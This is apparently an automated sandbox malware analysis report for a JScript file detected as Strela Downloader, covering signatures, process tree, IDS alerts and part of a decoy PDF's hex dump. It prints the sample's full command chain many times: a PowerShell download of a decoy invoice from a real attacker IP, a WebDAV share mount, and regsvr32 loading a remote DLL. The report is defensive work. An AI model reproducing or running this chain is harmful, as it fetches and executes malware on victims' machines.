Edit tour

Windows Analysis Report
545019492124428424.js

Overview

General Information

Sample name:	545019492124428424.js
Analysis ID:	1588995
MD5:	d0dc00a4020422d9230a2d38b4bdc848
SHA1:	97d1922b113282670cf03d398cab33e6bdd0d48e
SHA256:	c6e488f190e0b967851614313ee5ff90bbd42d66475f40b0cb89cdd406b98521
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7316 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7368 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7376 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7412 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7576 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7804 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 8008 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2140 --field-trial-handle=1616,i,4786099737499866403,6720817204243978420,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7604 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7692 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 7876 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7316	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7368, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7412, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7368, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7412, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js", ProcessId: 7316, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 7692, Protocol: tcp, SourceIp: 192.168.2.4, SourceIsIpv6: false, SourcePort: 49731

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7316, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, ProcessId: 7368, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7316, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, ProcessId: 7368, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7316, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, ProcessId: 7368, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7316, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, ProcessId: 7368, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7316, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, ProcessId: 7368, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js", ProcessId: 7316, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7368, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7412, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7604, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7692, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 7876, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7604, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7692, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\545019492124428424.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7316, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11937406222522.dll, ProcessId: 7368, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:10:01.237114+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:10:04.039063+0100	1810005	1	Potentially Bad Traffic	192.168.2.4	49731	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T08:10:01.237114+0100	1810000	2	Potentially Bad Traffic	192.168.2.4	49730	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 545019492124428424.js

Virustotal: Detection: 9%

Perma Link

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 545019492124428424.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 545019492124428424.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.4:49731 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.4:49730 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 07:10:01 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

